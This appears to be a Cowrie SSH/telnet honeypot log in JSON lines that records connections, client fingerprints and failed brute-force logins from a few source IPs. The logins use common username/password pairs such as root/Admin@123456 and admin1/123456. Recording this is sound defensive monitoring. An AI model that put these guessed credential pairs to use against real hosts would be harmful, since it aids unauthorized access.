{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:53.328092Z","src_ip":"45.153.34.195","session":"986d437aaae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:53.839415Z","src_ip":"45.153.34.195","session":"986d437aaae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.8","message":"Connection lost after 20.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:54.099567Z","src_ip":"91.92.40.36","session":"a2370e70efa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:54.922893Z","src_ip":"45.153.34.195","session":"986d437aaae3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:55.166836Z","src_ip":"91.92.40.36","session":"b2d837d26db9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:55.170780Z","src_ip":"91.92.40.36","session":"b2d837d26db9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patience","password":"patience","message":"login attempt [patience/patience] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:55.585989Z","src_ip":"91.92.40.36","session":"eada71e24fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64538,"dst_ip":"10.17.0.5","dst_port":22,"session":"90711ef00ce0","protocol":"ssh","message":"New connection: 45.153.34.195:64538 (10.17.0.5:22) [session: 90711ef00ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:56.103667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:56.109052Z","src_ip":"45.153.34.195","session":"90711ef00ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:56.216113Z","src_ip":"45.153.34.195","session":"90711ef00ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.7","message":"Connection lost after 27.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:56.271418Z","src_ip":"91.92.40.36","session":"0abbd7822397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:56.626696Z","src_ip":"45.153.34.195","session":"90711ef00ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:57.711051Z","src_ip":"45.153.34.195","session":"90711ef00ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24680,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8892aabac38","protocol":"ssh","message":"New connection: 91.92.40.36:24680 (159.203.135.109:22) [session: b8892aabac38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:58.114755Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64544,"dst_ip":"10.17.0.5","dst_port":22,"session":"482ef4e4affa","protocol":"ssh","message":"New connection: 45.153.34.195:64544 (10.17.0.5:22) [session: 482ef4e4affa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:58.987597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:58.992189Z","src_ip":"45.153.34.195","session":"482ef4e4affa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:59.074526Z","src_ip":"45.153.34.195","session":"482ef4e4affa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:59.342289Z","src_ip":"45.153.34.195","session":"482ef4e4affa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:59.763204Z","src_ip":"91.92.40.36","session":"eada71e24fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:00.435260Z","src_ip":"45.153.34.195","session":"482ef4e4affa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.0698938369751,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:00.515462Z","src_ip":"94.23.66.112","session":"cb27af4a15e9","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:01.251375Z","src_ip":"91.92.40.36","session":"b8892aabac38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:01.254843Z","src_ip":"91.92.40.36","session":"b8892aabac38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.455195903778076,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:01.509874Z","src_ip":"128.199.8.54","session":"3575fae1916d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64554,"dst_ip":"10.17.0.5","dst_port":22,"session":"60a7c46c9481","protocol":"ssh","message":"New connection: 45.153.34.195:64554 (10.17.0.5:22) [session: 60a7c46c9481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:01.841966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:01.849657Z","src_ip":"45.153.34.195","session":"60a7c46c9481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:01.938695Z","src_ip":"45.153.34.195","session":"60a7c46c9481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:02.186303Z","src_ip":"45.153.34.195","session":"60a7c46c9481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chenxuan","password":"chenxuan","message":"login attempt [chenxuan/chenxuan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:02.512146Z","src_ip":"91.92.40.36","session":"059473898cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:03.270089Z","src_ip":"45.153.34.195","session":"60a7c46c9481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.577608823776245,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:03.838268Z","src_ip":"172.81.62.90","session":"04d433fc7dc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"43.2","message":"Connection lost after 43.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:04.557868Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24728,"dst_ip":"159.203.135.109","dst_port":22,"session":"80de36fe8331","protocol":"ssh","message":"New connection: 91.92.40.36:24728 (159.203.135.109:22) [session: 80de36fe8331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:04.674224Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28176,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7fc3c30888d","protocol":"ssh","message":"New connection: 45.153.34.195:28176 (10.17.0.5:22) [session: b7fc3c30888d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:04.706337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:04.750163Z","src_ip":"45.153.34.195","session":"b7fc3c30888d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:04.872385Z","src_ip":"45.153.34.195","session":"b7fc3c30888d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Pass1234","message":"login attempt [debian/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:05.209521Z","src_ip":"45.153.34.195","session":"b7fc3c30888d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:06.314097Z","src_ip":"45.153.34.195","session":"b7fc3c30888d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.2","message":"Connection lost after 19.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:06.905359Z","src_ip":"91.92.40.36","session":"059473898cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"4321","message":"login attempt [odoo/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:07.152739Z","src_ip":"91.92.40.36","session":"b2d837d26db9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28190,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ab53bc201d","protocol":"ssh","message":"New connection: 45.153.34.195:28190 (10.17.0.5:22) [session: 57ab53bc201d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:07.683778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:07.736458Z","src_ip":"45.153.34.195","session":"57ab53bc201d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64784,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb32a7a42374","protocol":"ssh","message":"New connection: 91.92.40.36:64784 (159.203.135.109:22) [session: cb32a7a42374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:07.748212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:07.786923Z","src_ip":"91.92.40.36","session":"80de36fe8331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:07.790437Z","src_ip":"91.92.40.36","session":"80de36fe8331","protocol":"ssh"}
